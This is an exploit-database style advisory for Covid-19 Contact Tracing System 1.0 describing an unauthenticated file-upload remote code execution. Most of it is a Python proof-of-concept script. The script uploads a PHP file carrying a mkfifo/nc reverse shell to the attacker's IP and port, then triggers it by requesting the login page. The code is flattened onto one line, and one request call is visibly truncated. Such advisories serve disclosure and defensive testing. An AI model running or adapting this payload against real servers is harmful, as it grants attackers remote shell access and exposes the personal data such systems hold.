Covid-19 Contact Tracing System 1.0 Code Execution

Risk: Medium
Local: No
Remote: Yes

# Exploit Title: Covid-19 Contact Tracing System 1.0 - Remote Code Execution (Unauthenticated) # Date: 28-02-2021 # Exploit Author: Christian Vierschilling # Vendor Homepage: # Software Link: # Version: 1.0 # Tested on: PHP 7.4.14, Linux x64_x86 # --- Description --- # # The web application allows for an unauthenticated file upload which can result in a Remote Code Execution. # --- Proof of concept --- # #!/usr/bin/python3 import random import sys import requests from requests_toolbelt.multipart.encoder import MultipartEncoder def file_upload(target_ip, attacker_ip, attacker_port): random_file_name = str(random.randint(100000, 999999)) + "revshell.php" revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port) m = MultipartEncoder(fields={'name': 'PWNED', 'img': (random_file_name, revshell_string, 'application/x-php')}) print("(+) Uploading php reverse shell..") r1 ='http://{}/cts_qr/classes/SystemSettings.php?f=update_settings'.format(target_ip), data=m, headers={'Content-Type': m.content_type}) if r1.text == '1': print("(+) File upload seems to have been successful!") return None else: print("(-) Oh no, the file upload seems to have failed!") exit() def trigger_shell(target_ip): print("(+) Now trying to trigger our shell..") #The file we uploaded previously is expected to be an image that the web app tries to embed into the login page. #So by requesting the login page, our reverse shell php file will get triggered automatically. We dont even need to calculate the random bits of its new name. r2 = requests.get('http://{}/cts_qr/login.php'.format(target_ip)) return None def main(): if len(sys.argv) != 4: print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0]) print('(+) eg: %s 4444' % sys.argv[0]) sys.exit(-1) target_ip = sys.argv[1] attacker_ip = sys.argv[2] attacker_port = sys.argv[3] file_upload(target_ip, attacker_ip, attacker_port) trigger_shell(target_ip) print("\n(+) done!") if __name__ == "__main__": main()

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